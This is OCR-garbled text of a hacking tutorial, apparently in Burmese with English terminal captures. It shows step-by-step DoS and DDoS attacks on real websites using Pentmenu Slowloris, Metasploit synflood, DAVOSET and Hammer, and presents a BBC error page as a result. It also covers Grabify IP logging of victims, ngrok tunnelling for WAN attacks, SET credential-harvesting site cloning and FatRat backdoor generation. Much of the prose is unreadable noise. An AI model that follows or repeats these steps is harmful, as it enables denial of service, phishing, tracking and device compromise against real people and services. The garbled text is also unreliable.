:~/pentmenu# ./pentmenu
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run eoa’;@o@ogq% J o% s»o?:@lo’]oa(ﬁu dot slash Ol

Recon
Dos
Extraction

View Readme

Quit
Pentmenu=
C ’] oC N\ o] (o ’] c [og
FC0MOIZFODCe 0361 menu o GO)@CGlQ’DO Il ogﬁemom DOS
L e Io L [e4 d
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Pentmenu=2
1) ICMP Echo Flood 6) TCP XMAS Flood 11) Distraction Scan
2) ICMP Blacknurse UDP Flood 12) DNS NXDOMAIN Flood

3) TCP SYN Flood SSL DOS 13) Go back
4) TCP ACK Flood ) Slowloris

5) TCP RST Flood IPsec DOS

Pentmenu=

C ’T‘ C o ¢Cc ¢ ’] C C N
0060l Q2e0Y menu 0 ©OX0CONROLPOll  §D0:C06: O | 9§
e@o%@%ogo:gg 030323 o’]oée§ono% eogqcﬂe(ﬁu ICMP Echo Flood, ICMP

Blacknurse, TCP SYN/ACK/RST/XMAS Flood, UDP Flood, SSL DoS,
Slowloris, IPsec DoS, Distraction Scan $ DNS NXDOMAIN Flood QBL@
eogqcﬂeu%u

r=# nmap -p 1-1000 ww . T 5 . C O

Starting Mmap 7.68 ( https://nmap.org ) at 2817-11-25 21:85 +8630
Nmap scan report for www. == . com (46.31.116.71)

Host is up (8.32s latency).

Mot shown: 996 closed portis

PORT STATE SERVICE

88/tcp open http

443 /tcp open https

517/tcp filtered talk

518/tcp filtered ntalk

Nmap done: 1 IP address (1 host up) scanned in 3
1 I

m$cond target o3 s’a@'r terminal o>®s0mes scan mﬁ@
Rlyeor target o) : 2%} :

Q _¢C ’] c . o N c Qo C ’] c
QOMOIoIII @:em’; DoS e Slowloris OO 6§EOAMVI0OII

entmenu=

) ICMP Echo Flood TCP XMAS Flood
) ICMP Blacknurse 7) UDP Flood

}) TCP S¥YN Flood 8) ssL DOs
)
)

TCP ACK Flood ) Slowloris
TCP RST Flood IPsec DOS

entmenu=3
(o C cC o ¢ . ’]
Q| $60756§:5|0OC0050200 options 9 ol

Pentmenu=9
Using netcat for Slowloris attack....

Enter target:

C C N\ o C C C C C C C ’] C
(78]§GO)’D€1 target o OO@O;)CZ Q0O0O0060 00 F230C @(DO [ep]eV]]]
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Using netcat for Slowloris attack....
Enter target:
Wiww . I s . com

Port 80

. o o co Q _¢C c
target website o 080:@: URL o) 60750 wéc?mo’]mwu
¢ .S, Q¢
target c$EPe2 ORIV IV

° ol
[ C N Q _¢C ’] C
OO’DZ@JCO;)S’BOé))m (]e} i enter C\B(‘DO (opJeN]|]

oD

6
L s

OC N C QC N
port 6§:5C:0) 5250¢e2607 default 203¢:0

Enter number of connection o open {(default 2000):
10000000

data bytes saeqsaogogtfo default o> 3000 ol oa%eo;%meoyg 1
e§oog9o vieY Qq‘ézeoné ooéa%oggo’]m(ﬁu (sorry)

Default is [r]andom, between 5 and 15 seconds, or enter interval in seconds:

Q C (o C C Q (S
SS’BSO(;?’D (78]§GOD’D(‘DGOD? random S’BB‘D r (730;)’3 Ga‘SQJOO

Q _¢C ’] C
C\B(‘DO [eplob]]]

°

C oC C
sgoomo’]s'»o?c: SSL/TLS 60Q 2V:EOQVD: ce300N0lOSI n $ enter

SL/TLS? [yles or [n]o (default):

Launching Slowloris....Use 'Ctrl ¢' to exit prematurely

Slowloris attack ongoing...this is connection interval
interval
interval
interval
interval
interval
interval

[

Slowloris attack ongoing...this is connection
Slowloris attack ongoing...this is connection
Slowloris attack ongoing. .. is connection
Slowloris attack ongoing... is connection
Slowloris attack ongoing... is connection
Slowloris attack ongoing... is connection
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This site can’t be reached

http://www. N . com/ (s unreachable

Show saved copy
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[e] 4 L IL L 4 o o
c c Q o N C C o 9 .
9602 (PYPEOIM PICE:QY S0 QVOGDICOION) terminal o> Control +
L ° 3 L L L 4
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d o L

SYN Flooding in Metasploit

~vice postgresqgl start

console

C
§ondaleory Metasploit m :D"Ejeoe 9050l command ecu°e0>§

c O C’] C
msf sleleviealéllcton]]

> use auxiliary/dos/tcp/synflood
auxiliary(

Q C C C c O oy
§ndsleory msf oes DoS Qoeeoocgso@@(\% auxiliary/dos/tcp

N\ o Q _¢C ’] C
oo synflood 03 use OOl

mst au:ntiliarzf{ ) = set RHOST 46.31.116.71

RHOST == 46.31. llﬁ 71
RHOST o> IP address OOOS eo@ show options G@T@ CC\%(‘/%

(.)(]O)OSII



msf auxiliary( ) = show options

Module options (auxiliary/dos/tcp/synflood):

Name Current Setting

INTERFACE The name of the interfac
NUM Mumber of SYNs to send (
RHOST 46.31.116.71 e The target address

RPORT 80 e5 The D

SHOST The spoo » sogurce add
SNAPLEN 65535 e The number of bjtcb to ¢
SPORT The source port (else ra
TIMEOUT 500 es The number of seconds to

. Q N C C
Requ1red column oo Yes c© @OO’DZO)G§€TDGO)@’D MO0 @®QG§€1

] 3 ° ()] o

’] C che C o ° C C Q C
o1zl mmmo@®e§qc set o S’BCDZE.}[@S OO@CDCZGOZ@ QOO 9
IL o L L 5 O [ L L

o}

(o]

(o C C ° . Q C
(78]%60)’3 G@DBOO’DZO:D LL)S’BGlGO)? requ1red column (JQ’D yes C\a GLD’DE]OO’DZO:)

C C C C ocC ° C e C
QB‘DQG§ oogogc,eleug S’BLBC:.GO%?’D S’B’DoC\Bo @g?@§0§’3 603610’]9())"

nst auxiliary( ) = exploit

[#] SYN flooding 46.31.116.71:80...

Exploit C\)(‘D(ﬂ@ll SYN ﬂoodlng ®o>ce§o']@u 6eeooéq|o%eog

Q Q Q
(73 attacker machine QJ’DoQJ’DZm C\BOGSO’DCGC\)GC\) (.L)@o OOGGTD JL aGC\DGC\)O’]II



msf = search auxiliary/dos

Matching Modules

auxiliary/dos/android/android stock browser iframe
auxiliary/dos/cisco/ios http percentpercent
auxiliary/dos/cisco/ios telnet rocem
auxiliary/dos/dhcp/isc dhcpd clientid
auxiliary/dos/dns/bind tkey
auxiliary/dos/dns/bind tsig
auxiliary/dos/freebsd/nfsd/nfsd mount
auxiliary/dos/hp/data_protector_rds
auxiliary/dos/http/3com superstack switch
auxiliary/dos/http/apache commons fileupload dos
auxiliary/dos/http/apache mod isapi
auxiliary/dos/http/apache range dos
auxiliary/dos/http/apache tomcat transfer encoding
auxiliary/dos/http/canon wireless printer
auxiliary/dos/http/dell openmanage post
auxiliary/dos/http/f5 bigip apm max sessions

C

. N C oOC N :1: (o]
Metasploit c0e> s2c0220) cs00CgE&Co) dos auxiliary 6o
d L Ol L ° o L

h ScocSs S Slon3&s 28 NearzoncS
searc %C\)@o 32C00NO0IZ00C:e GTDGLD SCOIS0:00WIl
° L 4 o L

DoS with DAVOSET in Kali Linux

:~# git clone https://github.com/MustLive/DAVOSET.git
Cloning into 'DAVOSET'...
remote: Counting objects: 253, done.
remote: Total 253 (delta 0), reused @ (delta @), pack-reused 253
Receiving objects: 100% (253/253), 68.35 KiB | 23.00 KiB/s, done.
Resolving deltas: 100% (149/149), done.

~#

OO0 s’ao%é: DAVOSET o% epe@:coé: DoS Attack o%
wSca0788E0leanzon S
L L

:~# cd DAVOSET

:~/DAVOSET# 1ls
about42.nl.txt EMC. txt Oracle.txt
browsershots.org. txt LICENSE ping-admin.ru.txt
CyberPower. txt list full.txt Qlikview.txt
davoset.pl list.txt README . md

:~/DAVOSET# ||




B:q DAVOSET folder 303 cd § oCeqpod(@s list cood(ogp9ead
Qo _C O N ocC o C C N
0qCceoy davosetpl 003 ©Ce @cechﬂewu Perl language ¢
L L L L (e g

N OC [ C NN C ’] C
6qEC02:0y dCeCLs @@ogs'»ogm Perl 0 gcqolewdi

~/DAVOSET# perl davoset.pl

DDoS attacks via other sites execution tool
DAVOSET v.1.3.5
Copyright (C) MustLive 20810-2017

DmMem?y install ®epec§o‘:‘> portable application saéjl:s'mo:o']u

@8(\%0%0)’3\ 3’300(7%0’]990%8" Site (70) (9] COD(%" QQSG (70) O)C"@" c (7%
o> ® L° L R OR PP Y eP

ite: www . I . COM

ite www. B  com is attacking by 220 zombi

/

o

C Q C Q .
gl saozoaoaJmm 03062 ®GSO’DCZOO’DZ€105 zombie server cop
Te "o e 1 L a7 [¢]

éjo%eoo%@: DDoS attack @QB(S@& @o%o’]o;(ﬁu ng)eeooéel RSm®

Co

Q (8 C ’] C Q . Co C ";
eel=Npleal-levieniiN=losplet Sllealo]l oao:@lqeomemo site 60D COPODC0ITd
JL 4 ° o e O °

C N chc Qo _C

http & https cles) eoogelon(ﬂou www.example.com ®:D@Bg ealep)

@é&gé:q%’) @60’]0)()5"

o}

=00
3n

DDoS Botnet Attack with Hammer

# git clone https://github.com/cyweb/hammer.git
Cloning into 'hammer'...
remote: Counting objects: 26, done.

remote: Total 26 (delta ©), reused © (delta 8), pack-reused 26
Unpacking objects: 100% (26/26), done.
.

Q C N Q C ’] ocC ’]
C\BS’BOOD hammer (73 3200000 S’BO? glt clone § 61())0 1



:~# cd hammer
~/hammer# 1s

hammer. py hpadpr' txt README.md

cd o% :D"@" hammer folder o3 oéeepogc@ogo']u @:cqé list

@80’](‘0 hammerpy (7) @CGODGlO’]QOOII

=/ nammers
python3 g eq:ooo:on%a% python3 hammer.py o% o?@ @5@@20’]"
-h =help, -s = server ip, -p = port § -t =turbo default 135 C\% eogel(ﬂeu%u
~# ping tIEEER! . COM
PING thessistssisssn.com (216 . MEemSel]l) 56(84) bytes
64 bytes from any-in-2415.1el08.net (216.239.36.21
ms

Terminal e@o%o;o%@ gé@: target site o% ping @éo’]u IP address
q%wo@@@: 1P q@e@m’a% Control + C § 616(\%(7%% oloodSi 1P address m

(‘XEZOO’DZO’]II

.21 -p 88 -t 135

C N . N C ’] ocC Q _C (8
9L§ hammer %D(EOO’DZO;) terminal OO(?’D 3200000 S’BO?CZ Gll(TDOO @8

ocC ’] C C Q N (o]
DDoS @[C\) éL olooQll server (JQ’J OEGSO’DCZOO’DZ%O? bot 608(7? S’BO;BZB[
QO CcOo ¢ cC O O C Q C (8
OB(‘D@L(‘DOZ)’DB(DC\B° OOGGTD(‘D% (.L)G(“D’JCZO [opleb]]]



hammering. ..

server maybe down conajoSs cme @ Bele & site oo
y (¢} J@" & §€1 LG]. O 3

C
[ge
user GOCZ)) S’DO{)ZBLC\% @61%60:)8’36@8’36§ @608’386]@"

BBC - Error 500 : Internal £ X

i www.bbc.co.uk

EB Text only Help

Error 500 - Internal Error

This might be because:
= We are experiencing abnormal traffic to our network or
= the service or servers it is on is not currently available.

Please try the following options instead:
« Try again later once we have solved the problem.
= Use gur

Qe . Qo QO CO Co C o C c
80meo>y BBC website 03 DDoS o3059005q0pm 0 @00 oplev]]

L
C C C N C . . C C N
03§07 em@ eeg,eg,goneogs»@c Kali Linux ¢o cﬂoc@, @@og
ettercap >> unified sniffing >> plugin >> manage plugins cdo> DoS attack
C o C coc¢C ’] C
megcopo: DoS attack 03 cooez0oC&COlezOWIN
N ’] o C C C C Cc O
g3slecnoreon ooo@ eem@eon:n:e@u 36077  09$60°0)

O
Q C c 9. N C
FRM (3@ ocm"mpemoc ew mwoc bot COY 0$02:0yTI6|032CE
c C Qo coc C
0036322 CI OYOOC ¢ botnet Clep) co§o>°@: DDoS attack @mo@c:eo]u



Creating Own Botnets on Any Device

3 e@%@eos §é:co§:ooeoo? DDoS Attack e 035@9098@1099
(o C C Q C Q (Y (o] o CcOoc¢C c 9
S emoc:e§@: OegPMe ooy botnet ooy MHAWOC @§m:@:
o o JL 4 ° O L L L

C C C ocC C ’] C Q C C C C o
QOEE0COWY  320C8 @oo OWI SO0EF0ICYYMEMRTPIMEOY MO0
me@@o%eo (Windows, Mac & Linux), q$:me§@§3@® sQli c?(C)eaoo&\%
C (% Co C’] C B t (o] Q, NS o C (%
SEDISICOREETOVIQRI<E @oo oI Bot eogop oego@o eg,@"eucaaeogco@,

GBS()(%G@O’)’DGOJG§Dll

[ | (@ https://grabify.link/register/

GRABIFY IP LOGGER

° N . . Q C c O ¢
oeadizess grabifylink o> browser mes oceepooc?ooo']u

C C [oge] C . C ’] c .
@:qceoo? Account  02020c@900  Register  cvogqolewdi  Register
jage] C c c ’] C
QVOQTIOIMMEO F2AHRMOICDI
L 3 o ° o o IL

Username:

PowerTesting

Password:

mail@mail.com

V/ I'm not a robot

Sign up

. C ’] Q 1 N _O C C C
Slgl’l up Blogo@:o o> 66 mail inbox (I)C)?° [ysleslr]=»sle; GSTDO’)C\)’D

C

(2]

Q
2]

Qo _C C C ’]
Qg’):@ a?qceoo? OCOL0OV0C @80 @II

olecSi Account Confirm @

o}

o C C ° C ’] C c 9 O’] N\ C

303(ITE0EC PRMME0R 20N Ckod 009 ¥503:30l FBPOTPRM

C C C Q9 QO0C C . o

C\goocoooooooo'](\)u Youtube o oc@ 63030cm09s, Link (URL) o3
Q ¢C

o IL I
copy oiqgooo']oooSu @:q(c: Browser ooes grabify.link or% @.%agom%cﬁo’]u

Q Cc C C . C (o] [e] O’] C c C
C\IEG’BQJ’DSOE OOO0COI:00Y link O’)®SLO? GJTD(.& C\BO [eplob]]] O’gj?GO’D’DO’)GO’D’D



Enter a valid URL or

cking code...

Create URL

N

o . Qo 09 Q .
0coo> Enter a valid URL 990'3 PP 3% orecoooB 63w Link
o c c o ¢ C o oCc o ¢C c
Slevioplee) o:).gc:cxgmoploooou @:eoo? Create URL o §oa3mo']oooo||

LINK INFORMATION:

Select Domain Name: grablf\,r '.!f:‘!f ¥ |(Dont worry they are all the same and you can change it at any time)

Select Extensions (Optional): None ¥
= You can now use the short google (200.81) url below as well

Original URL https://www.youtube.com/watch?v=lzm'
New URL (Send them this link) ttp//grabify.link/QC

Google URL New {or this link) d} https://goo.gl/icFooH

Link Shorteners New

Tracking Code UUFB18

Cf‘| ° c_C (o c O C 9 Q C N . .

3000l 06D @@qe MQ$e0250y 0503200050y Link Information
L4 Le L

eogor% ew%@ooo"ooo eogqopleoSu New URL (Send them this link)

Q N co C "' C C
Q?O?G§STDO’) Link O? cODD0 Oﬁq%)’) @00 [epleb]]] @SGO’)? GC\)OGC\)’D&)OJ(?’D
C

qeoooc eoocqeoa:of) @050 ef):@: Link or% ooo%e@epspooe@ Share
cOoC

GO"C\)O’)&LCO O’)OJII

RESULTS: O

Note: If you have posted your l'hk on Facebook, Twitter, or in a URL shortener, you may see results from various "bot

Hide Bots ) ]

Date/Time IP Address Country @ User Agent (Hover or tap for more information)

C C ¢ 9 O ¢C Cc O C
O’gjv%GO’JOO’)GO’)? SL(? ®§ODSQECDODD ®C\% Results : 0 ®G§O’)’D
f‘| c 9o N . Q . N C
eooqeoo 1 (.D§O’)8G3080’) Link o> click ooeop eJ’D:C\)’DO’J’)?GB(j)J result GO’)C\)@:
e Ll ° L L o ° o
C f" C o N\ C N . o C C ocC f" C
(:)J’D:C\)’D(f’)@@() [ep]ev]]] (.L)G)(j)’D ch@ Hide Bots O?C\)@: (g(;(l)’):&LCO [oplobn]]]

. . [¢] C ocC c
Link click coooaeoos\l IP address ecpacopd: Copy 2002:8 ECle20:00 05
L O I o L L L



DoS Attack Detection
C o cO O C

omweox DoS attack o> detect @@c&a?on eagwo&o’]:ra:u DoS
attack o3 COEOI0OD 520000090 ted traffi tt T

D §Pey OO0 $PROR expected traffic pattern ecyeol ¢o
0o 5es0loddl :Doecs'aof)"@o\) sae@s'ae s expected traffic pattern coo5
L 8 § § L° [ 3 ?% p p

C

Q0 C (o ° \ C C N C C C
O@G(’DJ’DC\)§ 8’3&)8@[(\)’30)8’39(] CD’DQ§QODO)O) S’BG@S’BG§O)®QS’BB® 2000000
LL ¢} L s L s L 1
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C o Q00CO Q C ’] C o [ .
attack MJSEPOAD0220Y DYECH V5200100l sa@oosao:@gem? Detection

dlL [ L
technique o3:9 %of]mugu Activity Profiling, Sequential Change-point
detection § wavelet analysis o% @ogo']omgu zﬂeogoaé @p}é&ﬁeaooéooo:
o

Q ’] N C C ’] C
(Ig LS’BO (o8] countermeasure 8030388 @®G§O S 20: 00

Countermeasures

Q < c. ¢ o N Q
Countermeasure S(I?O)’D S’B&GT.)Q) O)(DO?O)(DGT.) @[C\)’DO?S’BSK] 0
¢ & _cme ¢ coco c ce ¢ me, ¢ . c
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DQC:D F0m 00loWI 60l @5 eagtes:90) detection technique a2
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P . C ° C
Activity profiling cop> network traffic col’ sae@ao’]mwu attack
C (o] e Q N C C
090>  clusters em@o:e’a activity level o3:go:0000524) a@o:oao;eo;
L L o d L O JL o 4
C c _C C C c o _ ¢ LR C C C
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’]C @ c o C co Q C ’] QC C Q .9
colC: JoG 26O COIC|MIRQP WOVICOGEWIN 200350603 SNMP,
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CHAPTER 26: Port Forwarding for WAN attacks

Introduction

eaaeocoé: 03|$emgo%we§% Metasploit eoy Setoolkit
0806 S’DQ?:E]@@@:BOSO,]O)QSII 8(\% saol?:@[@é(fo Same Network s203

C cocC QO CcC C N O C C o C Q00 C
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oaggLagﬁeoga% LAN saeoéme§ Wide Area Network (WAN attack) s2a0¢

(ep)
L
B B@é @ @ogo']m(ﬁu 8we@we§<§oemfg 5 Chapter o> Sloéoy §é:m§:

eo’]é:ep:mc% 3305:@[3590 @ogo']m(ﬁu slo3 Port Forwarding S2§0PD a3
o L L L 4 L L L

S8 S o < ¢ 9 N °.9C ¢ (S S Q
S(E@OO%II 33’3%08’3(‘? (78|§GO)’DOB°S’DG§§° %O‘B°QJ§LC@Q? §809°GC\30608(73

C N C C N Q C’] c _C
®®88@8 §@§’3 Attack GO)§ [Qvloa]~{ep) Q)eO)E]GOZC\)(‘DO O)Q)@COJ’DII
L L ol & 1 [¢] L

Port Forwarding for Kali (Method 1)
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Downloads directory c003 $20005015205C: 0Ceepo030li

:~/Downloads# mv ngrok fusr/bin/

. N C o C o

Downloads directory <o eepmogo:@s?qcem? mv command
o oCc O N . N O C o f] oC Q ¢C ’]
o?:@: ngrok 9Coy system coo> ust/bin/ 0003 8200050018205¢: 6§ OO

:~/Downloads# cd fusr/bin

:/usr/bin# |



C ’]e ocC . Q o C Q _C N .

5Mol0s0>¢: cd /usr/bin 03:13:@: e@oc:eguqmcg directory
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c O C’] ’] Qo _C (o c O N Q
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~# ngrok
NAME :
ngrok - tunnel local ports to public URLs and inspect

DESCRIPTION:
ngrok exposes local networked services behinds NATs a
public internet over a secure tunnel. Share local web
webhook consumers and self-host personal services.
Detailed help for each command is available with 'ngr
Open http://localhost:4040 for ngrok's web interface

EXAMPLES:
ngrok http 80
ngrok http -subdomain=baz 8080
ngrok http foo.dev:80
ngrok tcp 22
ngrok tls -hostname=foo.com 443
ngrok start foo bar baz

secure public URL
port 8080 availabl
tunnel to host:por
tunnel arbitrary T
TLS traffic for fo
start tunnels from

c C N . Q 9O _¢C (8 Q Co N
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:~# ngrok http 80 :~# ngrok http 4444
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:~# ngrok http 80

(o C C N\ c O C’] C c O ’T‘ N
Q$e02500 ngrok hitp 80 03030 ¥COE0IC0IN DO eol WS
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Connections opn rtl
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C o ocC N (o C ON .
90 050l09203E:0131 M$eox03q,  Session  status  e$epPed
L L [ d
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setoolkit oo, eJmC\Bmo’]u (3’]@0303@0)? ©§,67 eeg.,eg.,@@@, @@o’]mw)

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit

5) Update SET configuration
6) Help, Credits, and About

Exit the Social-Engineer Toolkit
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Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) ORCode Generator Attack Vector
9) Powershell Attack Vectors

10} SMS Spoofing Attack Vector

11} Third Party Modules

99) Return back to the main menu.

= 2

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu
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Credential Harvester Attack o% o?:o’]eu%u 3ol

Web Templates

Site Cloner

Custom Import

Return to Webattack Menu
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]
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399.1 io -= 1
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HTTP Request

200 0K
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Port Forwarding for Kali (Method 2)
(73@@0)803 ome  eapeg:3(030y ngrok 030 permanent 53683
[ O 0O ® : L o
39:)5:@[35@&3 §é:m§: @ogo']m(ﬁu
L L °
& Secure | https://ngrok.com

Product

Secure tunnels to localhost

"l want to expose a local server behind a NAT or firewall to the internet.”

or start by downloading ngrok

° N Q Q _C ’] .
OOO@SOZS’BG§§ Browser (‘DG§ ngrok.com OO 2020 Slgn up
L o L © L

Q QO OC C C . C C
For free s000o0) &o@: Account wcqo’]ewu Sign Up cvoqom C\)wm@:
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C C Q C C
oceepm@:o?saa’] dashboard.ngrok.com/get-started o3 eepmo’]ewu



Conneck your account

Running this command will add your account's authtoken to ngrok's config.yml file.
features and all open tunnels will be listed here in the dashboard.

C

C ’] ocC Q (o] C
3200000 S’BOZL)CZ Connect your account S(EOD’D(T? GO@@CGEQ’D ®@8
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/bin# ./ngrok authtoken wvgkk2idMNVgmQipmpAR
tu configuration file: /root/.ngrok2/ngre

qe:cooo? (735@03 ooé@ Enter C\)moy) Authtoken

(Authentication Token) o% 3&z20 @ Account § QJO) @ @ogoy):o']@u

Terminal€1 UDQSG§€TD(DG§988 ngrok m eaT:D..&cono’]ou €1 OO’J@J(‘X%
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o Account gé@: :%03033:615 83@ Stable @@moo’]u sﬂe@oc 38 o‘:} Email eo:§
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Android Hacking Over WAN (Example)
Q N\ o ° C
39’]@0}9 Fatrat me$0 msfvenom o s'ao?:@@og):cﬂewu

service postgresqgl

:~# Tatrat

fatrat o eaTC\%ogmo$ FatRat o&conoooli FatRat o o ooéoa&
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Create Backdoor with msfvenom

Create Fud 100% Backdoor with Fudwin 1.0

Create Fud Backdoor with Avoid v1.2

Create Fud Backdoor with backdoor-factory [embed]
Backdooring Original apk [Instagram, Line,etc]
Create Fud Backdoor 1000% with PwnWinds [Excelent]
Create Backdoor For O0ffice with Microsploit
Load/Create auto listeners

Jump to msfconsole

Searchsploit

File Pumper [Increase Your Files Size]

Configure Default Lhost & Lport

Cleanup

Help

Credits

Exit
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LINUX >> FatRat.elf

WINDOWS == FatRat.exe

SIGNED ANDROID >> FatRat.apk
MAC => FatRat.macho

PHP => FatRat.php

ASP >> FatRat.asp

JSP => FatRat.jsp

WAR => FatRat.war

Python == FatRat.py

Bash == FatRat.sh

Perl >> FatRat.pl

doc => Microsoft.doc ( not macro
rar >> bacdoor.rar ( Winrar olc
dll => FatRat.dll

Back to Menu
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